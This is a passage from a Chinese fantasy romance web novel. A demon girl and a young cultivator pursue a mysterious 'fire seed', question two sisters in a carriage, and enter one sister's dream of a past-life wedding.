秋风钻领穿脊而过,几位士子顿觉酒意全消,他们再看那白衣少女身边还有一位秀丽脱尘的绿衫女子,廊外秋菊正艳,却远不如廊上姝丽双绝。 阿姮脸上的胭脂指痕在路上已经被霖娘给擦掉了,她的脸颊透着一层淡淡的红,一双漆黑的眸子轻抬,对上那些士子直愣愣的目光。 几个士子瞬间憋红了脸,匆忙挪开视线。 “贵客临门,檀某有失远迎。” 紫衣郎颔首,微微一笑。 霖娘一见他真容,不禁有些讶异,这偌大一个园子,主人竟然如此年轻,他双眼狭长,眼尾微微上扬,好似天生含情,一副相貌隽秀绝伦,浑身丰采斐然,有种令人如沐春风的书卷气。 阿姮盯着他片刻,目光倏尔越过几人,看向门内那桌酒席,席上秋菊如簇,点缀盘中,而盘中一只只螃蟹蟹壳橙黄,一只小炉上炭火正旺,酒壶中发出翻沸的锐鸣。 紫衣郎随她目光看去,正要张口说些什么,却听一道声音:“贸然登门,多有叨扰。” 紫衣郎立即循声看去,那白衣修士很快从廊上来,他与他身侧那墨灰衣袍的青年修士眉心都有一点红痣,但待他们走近,紫衣郎发觉,那白衣少年眉心的痣似乎要更小一些。 “所谓来者皆是客,我檀园虽大,难免冷清,檀某正盼望日日有客临门,共观园景,”紫衣郎眉目爽朗,招来仆从,“黄安,快再备一桌蟹宴待客。” 积玉立即说道:“我等方外之人,须守戒律不食荤腥,就不劳烦公子了。” 那紫衣郎点点头,随后含笑的眸子望向阿姮与霖娘:“二位小姐也是方外之人?” “硬壳怪有什么好吃的。” 阿姮瞥一眼桌上,懒洋洋道。 东海里那么多蟹兵,她也懒得咬上一口。 霖娘对上那紫衣郎的目光,讪讪一笑:“就不麻烦公子了。” 紫衣郎眼眉仍然带笑,抬手相邀:“既如此,还请诸位稍坐,喝口茶也是好的,权作全了檀某的待客之道。” 紫衣郎言辞诚恳,颇为热切,倒令人无从拒绝,阿姮见程净竹走了进去,她也忙跟了进去,积玉正要落座程净竹身边,却被阿姮抢了先。 再看霖娘,她又落座阿姮身边,积玉拧着眉,只好做到对面去。 黄安很快让仆从撤下宴席,奉上热茶。 程净竹扫了一眼那些奉完茶便往门外退去的仆从,他想到园中一路行来,竟无一女婢,程净竹指腹轻碰茶碗:“我们在山野发现了残缺的符咒,可是公子的用物?” 紫衣郎点点头:“不错,那符咒是我从永济寺高僧那里求来的,若不是今日携友归家之际见妖物追逐二位谢家小姐,我还不知,那符咒竟然有那样大的作用。” “也算是误打误撞,”檀郎眉眼和煦,“我本来听说附近州县有妖物出没,所以才去永济寺求来那护身符,以备不时之需。” “那妖物长什么样,公子可看清了?” 积玉问道。 紫衣郎凝眉思索,随后摇头:“我只见一团黑气,并瞧不出那黑气里有什么。” 阿姮一下抬眸:“那符咒果真有那么厉害?你抛出去,黑气就落荒而逃了?” 若那黑气真是火种,那么区区永济寺秃头和尚的一帖符咒,真能逼退火种?火种不一直是依附于人的吗?怎会独自出现? 可阿姮确定,她曾真切地感受到那股力量的存在,就那么一闪即逝,她追到荒野,再到了这儿……她眼底暗红的光影微微闪动,胸腔里的火种却死气沉沉。 几位士子皆见她双眼妖异,心中突突地跳,不由疑心她是妖是鬼,绝非人类,而那紫衣郎端坐上首,不改笑容:“檀某并不知那黑气是不是落荒而逃,只是永济寺高僧所赐的护身符多少是会有一些震慑之用的吧。” 这话倒是没错的,积玉接过话去:“公子临危不乱,还敢舍身救谢家二位小姐,实在令人感佩。” “诸位不知,檀兄向来如此,虽是个文士,却有豪杰风流啊!” 一名士子摇扇说道。 其他几人也纷纷附和。 那紫衣郎哈哈大笑:“你们几个少在贵客前面捧我!我那是吃醉了酒,酒意冲上脑子才有了蛮直之气,我心里哪有不怕的呢?” 程净竹端起茶碗,热烟上浮:“公子是天都人?” 紫衣郎点头:“不错。” “天都繁华非彭州可比,不知公子因何而来彭州定居?”程净竹漫不经心,似乎只是因为枯坐无聊而谈起这些。 “天都再是繁华,我也看了多年了,早都厌倦了,适听兰大人说起彭州山清水秀,乃邕宁国一绝,所以我才迁来此地暂居,”紫衣郎抿一口茶,笑道,“我胸无大志,就想找一清静之地独享满园春色,诗酒待友,潇洒快活。” 兰大人是邕宁国前宰辅,程净竹他们在城中早有耳闻,谢家女今年那没去成的诗会,便是兰大人亲自主持。 这紫衣郎并不言明自己身份,但他是天都人,又是兰大人的座上宾,足见其家世不凡,否则,又怎会有如此家底。 此时,廊上响起迟缓的步履声,越来越近。 阿姮抬头看去,只见谢澹云与谢朝燕出现在花厅门口,园中无一女婢,而那些男仆从出于避讳而不能相扶,所以她们是彼此相扶着走来的。 站定在门外,两人很快松开了手,一看便不是那么情愿地彼此扶助。 “多谢公子救命之恩。” 谢澹云与谢朝燕几乎同时欠身,齐声说道。 紫衣郎站起身:“两位小姐不必如此,也怪檀某家风所致,这么多年习惯了没有女婢,怠慢了。” “不……公子言重。” 谢澹云抬眸,望了一眼那紫衣郎,他和颜悦色,神采明亮,她垂首道:“是我姐妹叨扰了。” “是啊,本是我们多有叨扰才是。” 谢朝燕的声音响起,谢澹云侧过脸看向她,只见她原本惨白的脸颊竟然微微飞霞,谢澹云垂下眼帘。 “举手之劳何足挂齿?二位小姐,如今既然暂居你们府上的仙长寻了来,你们便随他们去吧。”紫衣郎颔首说道。 谢澹云与谢朝燕脊背一僵,随他目光看去,这才意识到厅中那陌生的两男两女原来便是暂住谢府的外客。 肉眼可见的,谢澹云与谢朝燕的神情都变得紧绷起来,阿姮的目光在她们之间来回扫视一番,而她们则不约而同地避开她的视线。 “不打扰了。” 程净竹放下茶碗,站起身。 那紫衣郎看了一眼角几上的茶碗,仆从端上来是什么样,如今还是什么样,分毫未动。 积玉也起身告辞。 程净竹走到门边,忽然停下,积玉不明所以,也跟着停下,只见小师叔回过头,看向那仍坐在椅子上的白衣少女:“阿姮姑娘,不走吗?” 阿姮还有点不死心,火种不在谢氏女身上,可它怎么能忽然就一点气息也没有了呢?但听这样一声唤,她转过脸,对上那少年清冷的双眼,她一笑,起身跑过去:“走啊。” 她跑过去的刹那,一张白符与她擦身而过,转瞬燃尽,化为流火下坠,阿姮回头,那紫衣郎正盯着自己茶碗中逐渐湮灭的火光,片刻,他抬起脸,日光描摹着那白衣少年宽阔的肩背,少年银发若雪,神情清淡:“公子与妖物相斗,恐有邪气入体,饮此符水,可保神思清明。” 紫衣郎闻言,举起茶碗,缓缓一笑:“那,檀某多些仙长了。” 说罢,他一口饮尽,豪气干云。 程净竹颔首,再不作停留,踏出花厅,霖娘主动去扶两位谢家小姐,她是不指望阿姮的,抬起头,果然,阿姮步履轻快地紧跟在程净竹身后。 紫衣郎亲自将他们送出园外,黄安早已在外备好了车马,那紫衣郎站在门边,望了一眼两位谢小姐,又对程净竹与积玉拱手道:“檀某知道二位仙长自有神通,但两位小姐才受过惊吓,又有脚伤,还是坐马车稳妥些。” 谢澹云与谢朝燕忙又欠身道:“多谢。” 霖娘扶着两位小姐慢慢地往马车边去,阿姮见程净竹翻身上马,她才要跑过去,却听门边紫衣郎忽然道:“阿姮小姐。” 阿姮一顿,回过头。 那紫衣郎斜靠门边,冷风翻卷他袍角,他发髻玉带飞扬,那双眼睛始终含笑:“我听那位仙长这么唤你,若有唐突,还望见谅。” “哦,你想说什么?” 阿姮轻抬下颌。 “檀某好客,若诸位再来,某必扫榻以待,”紫衣郎说着,站直身体,“下回,不会再准备阿姮小姐不喜欢的螃蟹宴了。” “好啊。” 阿姮一笑,转过身下阶,不期对上日光下,马背上那白衣少年的目光,不过是轻描淡写的一眼,很快便移开了。 阿姮跑过去:“小神仙,我也想骑马!” 程净竹垂眸,日光照得她脸上淡淡的胭脂好似单薄皮肤底下透出的气血,她那双眼睛亮晶晶的,一瞬不瞬地望着他。 “积玉。” 程净竹开口。 积玉刚上马,听见这声唤,他有点不情愿地下了马背,要往马车里去,阿姮转头看了一眼,拧起眉头,说:“我一个人不会骑。” 积玉一下转过脸,警惕道:“我绝不会与你同乘的!” “谁要跟你了?” 阿姮撇过脸,看都不看他一眼。 不是跟他,那就是……积玉看向马背上的小师叔,他的神情变得有些古怪。 程净竹睨着阿姮,惜字如金:“不行。” 积玉莫名松了一口气,果然,小师叔的道心比上清紫霄宫药王殿的那座山还要稳啊。 阿姮与程净竹相视,他始终眉清目冷,不为所动,阿姮只好气呼呼地钻到马车里去了。 她一掀开帘子,谢澹云与谢朝燕便被吓了一跳,阿姮坐到霖娘身边,抬起眼帘看向她们,这两个人类女子自始至终不说话,也不看她。 “阿姮,你别生气。” 方才外面的一切,霖娘看到了,也听到了,她见阿姮臭着脸,便凑到她耳边安抚:“不就是骑马吗?你要实在好奇,我让积玉上来,我们去……” “和你有什么意思?” 阿姮面无表情。 “……行吧。” 霖娘哽了一下。 听到这些,谢澹云与谢朝燕忍不住微微抬头,却蓦地对上那白衣少女一双眼睛,漆黑的眼瞳竟然闪烁暗红的光影,两人惧惊。 霖娘见此,忙道:“你们别害怕,阿姮她不会……” “我会。” 阿姮慢悠悠地打断她。 马车辘辘作响,而谢澹云与谢朝燕却感受不到帘子外的风声,帘子甚至不动了,整个马车里弥漫着淡薄的,诡异的红雾,像是将里面与外面彻底隔绝。 谢澹云面上流露慌张之色:“你……” 阿姮褪去伪装的眼睛暗红,她将谢澹云与谢朝燕来回审视一番,像是颇为费解:“真不知道你们在装些什么。” 谢朝燕瑟缩着身子,几乎不敢对上阿姮的目光。 谢澹云强装镇定:“姑娘这是什么意思?” 红雾幽幽浮浮,两缕骤然缠住谢澹云与谢朝燕的颈项,谢澹云与谢朝燕惊恐地瞪大双眸,想要挣扎却动弹不得,只能眼睁睁看着红雾如缕,在她们颈间越收越紧。 “阿姮!” 霖娘大惊,一把抓住阿姮的手。 阿姮甩开她,双掌撑在桌案上,俯身逼近两女,暗红的眸子阴冷而妖异: “你们明明记起了一些不该记得的东西,不是吗?” 第43章 第43章 人类怎么这么奇怪? 马车内帘幕封闭, 一片昏黑,外面的风声与马车行进的声音都变得那么不真切,谢澹云与谢朝燕惊惧地触摸着自己的脖颈,摸到自己的皮肤, 却无法挣脱红雾的束缚, 谢澹云艰难地张口:“仙……” 红雾刹那收得更紧, 迫使她的呼救声戛然而止。 “真奇怪,”阿姮又一把推开扑上来的霖娘,幽幽道, “你们上辈子到底做了什么见不得人的勾当, 一个两个都要藏得严严实实?” 阿姮明明看清她们眼中的恐惧, 然而恐惧之中, 则又是浓浓的警惕,这便是有执根的人类, 再多的恐惧, 也无法动摇她们心中的执念。 阿姮指尖燃起一簇烈焰,绯红的火光映照她阴冷的神情:“说, 还是不说?” 那烈焰还未加身, 谢澹云与谢朝燕却已同时感受到那火光中扑来的灼热, 脸颊竟然被烤得隐隐作痛。 两双惊恐的眼同时大睁, 漆黑的颜色忽然涨满她们的眼白, 紧接着,她们的脸色忽然开始变得更加煞白,她们忽然不动了。 “阿姮!你做了什么!” 霖娘见状, 忙质问阿姮。 阿姮愣了一下,指尖烈焰摇摇晃晃,冷冷道:“我还什么都没做。” “那她们怎么……”霖娘说着再度看向谢家姐妹, 却发现她们的脸色竟然很快从煞白转为微微的红,那种颜色似乎从内里透出皮肤来,白皙的肤色与那种红相映,竟然艳若桃李。 漆黑的颜色从她们的眼白褪去。 “我,我真的不知道你在说些什么……”谢朝燕似乎对自己方才的变化一无所知,她眼中含泪,晶莹欲滴。 阿姮凝视着她。 “灭!” 霖娘忽然一声喝,一股水流瞬间扑向阿姮的手指,烈焰顿熄,水珠不断顺着阿姮白皙的手背往下,浸湿她的衣袖。 阿姮盯着指尖那一点滑下去的水珠,她缓缓转过脸,看向霖娘。 霖娘忙松开结印的手势,正要说些什么,却见帘幕忽然被强风吹开,一道银光掠来,瞬息缠住阿姮的腰身。 阿姮低头方才看清腰间的银尾法绳,她整个人便被法绳给拽出马车去,霖娘连忙抓住那将要落下的帘幕,往车外看去,正见阿姮落去那白衣少年的马背上。 而马车内,谢澹云与谢朝燕颈间的红雾悄无声息地散去。 霖娘看着她们白皙细腻的脖颈,没有分毫伤痕,她此时方才意识到,阿姮她……似乎并没有再动杀心。 马车的帘幕落下。 外面凛风呼啸,洁白的发带拂过阿姮的脸颊,有点痒痒的,她抬眸望见少年宽阔的肩背,她瞥一眼紧紧缠住她腰身的法绳:“小神仙,你这是做什么?” 远处夕阳染红了大片天际,少年并未回头:“既然在马车里不知道安分,那就出来。” 积玉策马在后,只见那白衣少女用手指碰了碰腰间的银尾法绳,随后,她的双手绕过程净竹的腰身,积玉头皮一紧。 阿姮感觉到身后一道目光,她回过头,撞见积玉那双喷火的眼睛,她无声地笑,轻抬下颌,挑衅似的,双手顺着程净竹的腰身往上游移,她仍盯着积玉,却唤:“小神仙,你相信我,我只是想要知道她们的底细而已,可惜,她们嘴太硬。” 冰凉的珠串轻轻擦过阿姮的手背,她纤细苍白的手指将要触碰到他洁白的衣襟,猎猎风中,他的声音响起:“看来,这身皮囊你不想要了。” 阿姮的手指凝滞。 “相信你?” 风中,似乎混杂他一声很轻的冷笑:“你有什么是值得我信的?信你今日找我来,真是为了救她们?” 阿姮唇边笑意淡去,她的身影化为红雾,很快凝聚在少年身前,在马背上与他相对,她仰着头望他,手指勾住他衣袖边缘:“怎么?因为我是妖邪,所以你不信我是出于好心,特地来救她们?” 她侧坐马背,双膝抵在他大腿处。 彼此雪白的衣角缠绕翻飞,程净竹垂眸睨她:“你感知到了火种,但你担心自己对付不了,所以才会来找我。” 他的目光如同雪亮的刀刃,轻易剖开她的皮囊,戳破她的心思。 阿姮沉着脸,盯着他。 山野黄昏,流霞似火,山风吹动阿姮耳边的几缕浅发,她发间鲜活的红萼白梅幽香气直逼程净竹的鼻息,他的目光触及她鬓发,一点微微的红色往下到她耳后,那是残留的胭脂。 “你做什么都随心所欲,”程净竹面无表情地说道,“学不会乖乖听话,也并不诚心遵守你我之间的承诺,你可以笑着答应我一起找火种,却又瞒着我动歪心思,任何人,任何事都可以诱惑你,你没有本心,所以无法坚守,所以,” 他冷冷睨她,“那檀郎不过三言两语,你便喜笑颜开。” 阿姮正盯着他这张嘴,明明生得那么好看,为什么却会说出这么多不好听的话,她气极了,又忽然感到茫然,他提那个檀郎做什么? 回到谢府,早从永济寺归来的大夫人孙氏与二夫人王氏涕泪涟涟地在府门口将自家女儿接回院儿里,那谢二爷狠狠地松了口气,对程净竹他们是千恩万谢。 霖娘与阿姮一道回了住处,却又不进自己的房里,反而在阿姮房中磨磨蹭蹭的,阿姮坐在铜镜前盯着自己看了会儿,目光幽幽落到霖娘身上:“你的术法果然有长进。” 霖娘一个激灵,但她看着铜镜中的阿姮,那张脸上很平静,一点儿不怒,她忽然松了口气,原来阿姮没生她的气啊。 “阿姮,对不起,我今日误会你了,”霖娘忙走过去,“你这回其实根本没有想杀她们,对吧?” “我想杀啊。” 阿姮的声音轻飘飘的。 霖娘神情一僵,又听阿姮说道:“她们的嘴实在太硬,让我很烦,可我不是蠢蛋,我要是真杀了她们,也就取不出执根了。” 不论是因为什么,好在阿姮不会杀了谢澹云与谢朝燕,霖娘还是放下了心,她抬头看向镜中的阿姮,那眉眼似乎忽然有些生气,霖娘小心翼翼地问:“阿姮……你怎么了?” “小神仙骂我了。” 阿姮说道。 啊? 霖娘闻言,马上拉了把凳子坐到她身边:“程公子还会骂人?他为什么骂你啊?” 暮色已经降临,阿姮打开梳妆台前的胭脂盒,烛火映照着盒中鲜红的颜色,她用手指轻轻蹭了点,说:“他嫌我笑,嫌我不会乖乖听话。” “啊……” 霖娘一时不知该如何点评:“阿姮,我觉得程公子也不是有意骂你,你在马车里逼问那二位谢小姐,也许他是误会了你……” 阿姮苍白的手指揉念着那点绯红的颜色:“他没有误会我,他就是在骂我,但没关系,我会得到他的心。” 他说她没有本心? 她的确没有。 但她已经为自己精心挑选了一颗最好的,比起火种,她更想要得到那颗心脏。 胸腔里忽然黑气弥漫,一道与她如出一辙的声音缠绕在她的耳边:“杀了他,得到他的心……” 霖娘听不到这声音,她嘴巴微张,忽然拍了拍阿姮的肩,点点头,佩服似的,说道:“你有这样的毅力,我相信程公子再是一副铁石心肠,也会被你感动的!” 耳边杂声吵嚷,阿姮却并未理会,她看着镜中霖娘放在她肩上的手,又对上霖娘的目光,微微一笑。 夜渐深,霖娘回到自己房中去了。 阿姮不像人类一样需要睡眠,但那枚火种太张牙舞爪了,她在床上静坐了一个多时辰,将它的尖锐叫嚣给彻底压了下去。 阿姮睁开眼,躺倒在床上,房中只剩一盏烛火,昏昧的光影里,她忽然抱着枕头坐起来。 他竟然嘲讽她没有本心? 阿姮气呼呼地将枕头扔出去,砸在槅门上。 她笑也不对了? 还有,凭什么她要乖乖听他的话? 人类怎么这么奇怪? “笃笃”的敲门声忽然响起。 阿姮一瞬抬头,只见槅门上映出一道影子,只一眼,阿姮便认了出来,她下床,跑过去打开门,夜风迎面而来,吹动她的裙角。 廊下灯火摇晃,映照门外白衣少年那张骨相秀整的脸。 “你们人类晚上不都是要睡觉的吗?怎么你不睡?” 阿姮双手抱臂。 眼前的少女臭着脸,说话也有点硬邦邦的,程净竹垂下眼帘,目光落在她苍白的脚踝,光裸的双足:“去穿鞋。” 阿姮低头,看了一眼自己的脚,没动:“我凭什么听你的?” 月辉灯影冷暖交织在程净竹的肩背,他腰间的法绳飞出,银亮的光瞬间缠住阿姮,飞去屋中,阿姮一下整个人摔在床上。 她栽倒在被子里,怒从心头起,一下回头瞪向那自始至终站在门外的白衣少年,只要被她找到机会,她一定,一定会将他的心…… “你不想取执根了?” 少年冷淡的嗓音传来。 嗯? 阿姮一愣,忽然忘记心里发了一半的誓:“什么意思?” 少年神观若雪,轻抬下颌: “穿上鞋,然后与我去找那两位谢小姐,你今日逼问不出来的东西,或许她们的梦中会有答案。” 第44章 第44章 “不是谁都像你有那么多好奇…… 今夜风雾太重, 天上毫无星月之光,院中灯笼被吹熄了大半,但半夜三更,守夜的仆婢怕动静太大吵醒小姐, 便没有轻举妄动, 廊上两名婢女守在门边, 手中各提一盏羊角灯,那灯火朦胧,映照婢女疲惫的眉眼。 暗红的雾悄无声息地撬动窗棂, 顺着缝隙飞浮而入, 淡淡的金芒紧随其后, 屋中桌案上唯一的烛火照见阿姮凝聚的身形, 她身边金芒流转成一个白衣少年。 屋中昏昧极了,不远处那张床榻上罩着一层淡青色的绣帐, 帐中一道纤瘦的身影背对他们而卧, 呼吸平缓。 阿姮往前几步,脚上的鸳鸯绣鞋时不时从裙摆中露出, 她在床前站定, 绣帐无风自扬, 轻纱曼曼, 她暗红的眼睛看向卧在锦衾中的谢朝燕, 她长发散垂,似乎熟睡,但眉头却是皱得很紧, 阿姮的目光下移,只见她露在被外的手也无意识地紧紧攥起,不多时, 那双紧闭的眼睛滑下来两道湿润的痕迹。 阿姮伸出手指,冰凉的指腹轻触谢朝燕的脸颊,谢朝燕浑身立即一颤,却并未从睡梦中醒来。 “她在哭,那她一定很伤心。” 阿姮将手指在谢朝燕的被子上擦了一下,转过脸,看向程净竹:“你说的梦,我们要怎样进去?” 阿姮其实不太懂人类的梦到底是什么东西,也许,就像万艳山上,那些人因没骨花而经历的幻境? 真真假假,扑朔迷离。 程净竹扫了一眼四周,只见淡淡的雾气浮动,而槅门外婢女伫立的身影纹丝不动,很显然,阿姮已经将这室内与外面彻底隔绝。 “你必须答应我,入梦后,不许伤她一分一毫。” 程净竹说道。 阿姮挑眉:“怎么?就算是在她的梦里,也不许我杀她?幻境都是假的,我真伤她,她也不会死。” “梦不是幻境,是一个人的所求所欲,所思所想,梦是基于一个人的现实世界而构筑的精神世界,”程净竹单薄的眼皮轻抬,“你作为入侵者,在她的梦中伤她,便是毁掉她作为一个人的精气神,就算不至于丢掉性命,也会因你的行为而元气大伤。” “哦,”阿姮点点头,明白过来,幽幽道,“所以你明知道有入梦这样的好办法却不肯告诉我,你是怕我毁了她的元气啊。” 阿姮缓缓朝他走去:“小神仙,你觉得这样公平吗?我瞒你,你便骂我,那么如今你瞒我,你说,我又该如何对你呢?” “是你先对谢氏女动杀心,”程净竹瞥她,“你自找的。” 阿姮一顿。 真是好一句“你自找的”,阿姮气笑了:“你们人类比起妖邪精怪,不过是朝生暮死的蜉蝣而已,死算什么呢?再轮回不就好了?” “是吗?” 程净竹淡淡道:“那么璇红呢?你觉得她为何不愿?” 提起璇红,阿姮嘴角的笑意忽然一滞。 人类总会有很多她不理解的东西,譬如峣雨的义无反顾,再譬如璇红的永远消失,还有晴芸那样的鬼女们,她们宁愿为风为雨,也不肯再为人。 风雨有什么好的? “既然都是我自找的,那么你又为什么改变主意,带我入梦?” 阿姮硬邦邦地说道。 “我看得出来,你是真的很想得到孟婆许给你的东西,”程净竹说道,“今日你在马车中对她们也并非是杀心未灭,你只是想逼她们承认。” 阿姮明白过来,他知道她今日根本没有要杀谢氏女的意思,所以他才断定,孟婆许给她的东西对她来说很重要,也因为孟婆的承诺足够重要,他确定她不会再动谢氏女,所以才会向她道出这入梦的解法。 “小神仙真聪明。” 阿姮笑起来,那笑意却不达眼底:“所以你带我入梦的条件是我不能再隐瞒你任何关于火种的消息?” “阿姮姑娘明白就好。” 程净竹说道。 孤烛燃在案角,火光摇摇晃晃,铺了一层昏昧的光影在绣帐前,分割阴阳,阿姮在灯影里,而程净竹几乎整个人都融在阴影里。 “我可以答应你,但你今天让我很不高兴,既然我们是合作的关系,”阿姮盯着浓暗阴影中的人,她很快扑了过去,“那你是不是应该先给我一点……” “好处”两个字还没出口,阿姮便见他雪白的衣袖一扬,紧接着她额头多了一张东西,那东西略微遮挡了点她的视线,昏暗的光影里,她辨出那符纸鲜红,极为凛冽的清气含混其中,芳香的血气浓烈到她立即口干舌燥,点点金芒流转,更刺得她双眼模糊。 阿姮忽然感觉有什么东西爬上她的手腕,阿姮凝神看去,只见银尾法绳一端环绕在她腕上,凝成个十分坚固的镣铐,而镣铐的另外一端则是另一只银色镣铐稳稳地锁在少年冷白的腕骨。 “人类的梦境并不连贯,时常散碎成片,为避免你我各自进入不同的梦境碎片,只能如此。” 少年淡色的唇开合。 阿姮忿忿盯着,下一刻,她的身影与程净竹的身影顿时化为轻烟,无声侵入床榻上谢朝燕的眉心。 绣帐翻飞,孤灯陡灭。 夕阳如炽,霞光万顷,竹篱上红绸尽展,茅草院门边左右排开数名奴仆,他们腰系红绸,身板直挺,一张窄案斜搭在门口,一名身穿灰布袍子,戴漆黑幞头,身边一小仆接到贺礼,他便落笔记录。 “乖乖!赵家果真是大户人家,咱们村儿里何时见过这样的阵仗?你们瞧见没?那赵府管家腰带上都镶着玉呢!” 一名等着送贺礼进门吃酒席的村人对身边人说道。 “我看哪,温老汉他真是给他儿子积了善缘了,若不是他,他们家荣生怎么可能讨得来赵家小姐做媳妇?你们没看这些天那温老汉笑得合不拢嘴,我看他们温家从今往后就算是大富大贵了!” 有人说道。 “都说赵家书香门第,那位赵小姐更是饱读诗书,听说还生得十分貌美,”一妇人压低声音,语气有些复杂,“她嫁给温荣生,怎么看都不相配吧……” “你快闭上嘴。” 她丈夫听见了,瞪她一眼:“今日是人家的大喜之日!” 阿姮站在人群中,听见这些面目模糊的人七嘴八舌地说着人家的是非,转头又笑容满面地送上贺礼,说几句漂亮话,便进门去吃席。 “赵小姐,”阿姮转过脸,“是她吧?” “应该是。” 程净竹说道。 阿姮透过敞开的门扉,看见这间不大的院子里挤满了酒席,那些人都入了座,桌上荤素珍馐,应有尽有。 “我也想吃。” 阿姮说着,拉住程净竹的衣袖,快步走过去。 门边的小仆抬起头,与阿姮四目相对。 阿姮转过脸,见旁边摆放堆叠的贺礼,她明白过来,但摸摸身上又什么也没有,她干脆将食指上用红线穿起的霞珠放到案上。 程净竹垂眸瞥一眼那颗霞珠,目光落到阿姮的后背。 阿姮莫名觉得后颈一寒,她转过脸,对上程净竹那双波澜不惊的眼,仿佛方才所有只是她一时的错觉。 那小仆不识货,但赵府的管家却辨出那小小一颗珠子绝非凡品,他停下笔,看向面前这一对少年少女:“二位贵客可是远道而来?” “是。” 程净竹说道。 那赵府管家立即起身,目光似乎在他们二人之间的银色镣铐间凝滞了,程净竹言辞清淡:“我们行远路,多凶险,如此方不至于失散。” 那赵府管家一副见过大世面的样子:“哦理解理解。” 随后,对他们两位作揖:“贵客如此重礼,我代主家感谢二位,不知这位公子姓什么?” “程。” “哦,原来是程公子,”那赵府管家恭敬道,“请二位快入席吃杯喜酒吧!” 程净竹微微颔首,与阿姮才走进院门里去,身后那小仆便唱名道:“记,程氏夫妻贵客临门,诚贺新人!” 程净竹步履一滞。 阿姮也跟着停下,她转过头,见那赵府管家埋头在写,便好奇地问:“小神仙,什么是夫妻?” 喜宴俱备,丝竹顿响。 席上不知谁喊了声:“新娘子出来拜天地了!” 人们闹闹哄哄的,都伸长了脖子,往主屋中看去,果然,一名粉衣婢女扶着红纱遮头的女子款步而出,那身穿红衣的男子被身边的朋友一推,一个踉跄就到了那新娘子面前,他一张端正秀气的脸都红透了。 程净竹轻抬下颌,道:“那便是夫妻。” “男人是夫,女人是妻?” “是。” 阿姮听了,隔着人群,她看向屋中那对新侣,那新娘红纱遮脸,轮廓不清,她站在那儿纹丝不动,好似木雕一座,满堂热闹似乎与她无关,而只是那红衣男子的。 他们拜天拜地,拜堂上一个须发花白的老翁,那老翁笑得眼睛眯成了一条缝,到激动处还落下泪来。 拜过天地,那粉衣婢女便扶着新娘回避去房中,村邻们围着温老汉和新郎温荣生道喜,院中热热闹闹地开了席。 席上一个小女孩方才拿了把油炸糖果子,还没喂到自己嘴边,糖果子便被人一把顺走,小女孩抬起头,只来得及望见那白衣少女走过的背影,小女孩“哇”的一声哭了起来。 阿姮咬了一口糖果子,眉头一皱:“苦的?” 但她手中的糖果子色泽金黄,上面明明裹满了晶莹的糖粒。 “这是她的梦,这些都是她的感受。” 程净竹的声音从阿姮身后传来。 阿姮一下没了兴致,将咬了一口的糖果子随手一扔,绕过一桌酒席,见一老翁手急眼快地抓来一整只浓油赤酱的肘子大口大口地啃起来,满嘴满胡须都是油,他啃肘子的速度实在太过惊人,一席村人捏着筷子,无不忿忿地瞪他。 阿姮觉得好玩极了,却听程净竹道:“跟我来。” 阿姮受镣铐牵制,只得跟上去,两人绕到后院中,此时帮厨的娘子们都在后面忙,她们一边忙活,一边说着话。 “这温老汉不声不响的,谁晓得他竟然曾救过那赵员外,”一中年娘子一边吵着菜,一边说道,“谁不知道青屏县那位赵员外啊,据说他原先是在州府里做官的,因为不满官场上的许多作为,所以辞了官还乡,就这么巧的事,那赵员外正是在十年前辞官还乡,也是那个时候遇上流匪,是温老汉看他倒在路边上,给他吃喝,还找草药裹他的伤口,这才让他捡回一条性命。” “可就算是温老汉有恩于那赵员外……” 洗碗的年轻娘子说着,看了一眼不远处的新房,压低了些声音:“都这么多年过去了,温老汉什么也不说,却是见他家荣生说不到一门好亲事,这才找到青屏县去,听说那赵员外只有这么一个女儿,温老汉不过一句话,那赵员外竟然就真舍得将女儿嫁进这米缸都快结蛛网的温家?” 传菜的年轻男人听见她们的闲话,便趁着等菜的这当口插了句嘴:“那是你们不知道那位赵家老爷的为人!” 见所有娘子都朝他看来,男人笑了一下,才又道:“那赵员外做官时就很是廉洁,十分有名望,他是不愿跟那些脏污的家伙打交道才辞官的,但哪怕他不做官也是个真名士,他写一幅字,不知多少人高价去求,但他从不买卖,只凭心赠友,我听说啊,当初是赵员外死里逃生后亲自许诺,只要恩人有所请,他必有所应,哪怕温老汉时隔十年才去兑现,那赵员外亦守信答应了这门亲事。” 男人说到此处,不由赞叹:“赵员外这等正直守信之人,竟然分毫不嫌温家寒微,实在令人感佩!” “这温家也是走了大运了,有赵小姐这位儿媳,我看哪,他们温家父子从此往后也就吃穿不愁了!” 那中年娘子一边切菜,一边说道。 “可不是么?今日赵府的管家都来了,我看不日,怕是要给温家再起一座宅子了,那赵员外必然也不忍心女儿住这样四处漏风的茅草烂屋吧?” 男人说道。 其他娘子们也七嘴八舌地议论起来。 唯有洗碗的那位年轻娘子低着头,她似乎在看水盆里的碗,好一会儿,阿姮听见她轻轻的,十分不合时宜的叹息:“锦绣堆里长大的小姐,却嫁给一个渔夫……” 阿姮隐去身形,这些人热热闹闹地说着话,根本没有发现她与程净竹。 新房中,守在赵小姐身边的粉衣婢女有些忍不了了,她愤愤道:“小姐,奴婢去让她们闭嘴!” 那些人其实已经压低了声音,可这逼仄的后院,屋子又实在简陋,院里多少声音屋中都听得真切。 粉衣婢女正要往门口去,却被人一把拉住手腕,婢女垂下眼帘,看见小姐鲜红的衣袖,白皙的手腕。 赵小姐另一只手缓缓掀开头上的红纱,阿姮走到新房前,透过槅门上轻薄的窗纱,看到她那张与谢朝燕如出一辙的脸。 她乌黑的发挽成髻,戴着金玉凤冠,一张年轻的面庞轻扫粉黛,艳若桃李,她的神情很冰冷:“你回去吧。” “小姐?” 粉衣婢女一时没明白她的意思。 赵小姐松开她的手,说道:“你回青屏去,让管家他们也都回去。” 粉衣婢女闻言,立即跪倒在赵小姐面前:“小姐!奴婢做错了什么吗?您为什么要赶奴婢走呢?” 赵小姐轻轻摇头,鬓边镶嵌红色宝石的流苏微微晃动,喜烛映照她满头珠饰闪闪发光,更衬她娇美风姿:“你什么也没做错,我也并不是罚你,你回去,别跟我在这里受苦。” 婢女忙道:“小姐,老爷绝不会看您受苦的!是这黄历上的好日子太急,否则,否则老爷定然是会先置办好宅子,再让您跟姑爷成亲的!” “凭什么?”赵小姐一瞬看向她,发间珠玉一荡,她那双美目变得凌厉,“我爹当初是许给恩人一个承诺,是他温家亲口要的这门亲事,亲事既然要来了,这恩也就报了,至于良田美宅?” 赵小姐忽然一笑,凌冽美艳:“那已经太过了。” 婢女抓住赵小姐的手,忽然垂泪:“小姐,老爷不是为了他们,而是为了你啊,老爷是想你过得好……” 赵小姐岿然不动,脑海中倏忽想起那一日。 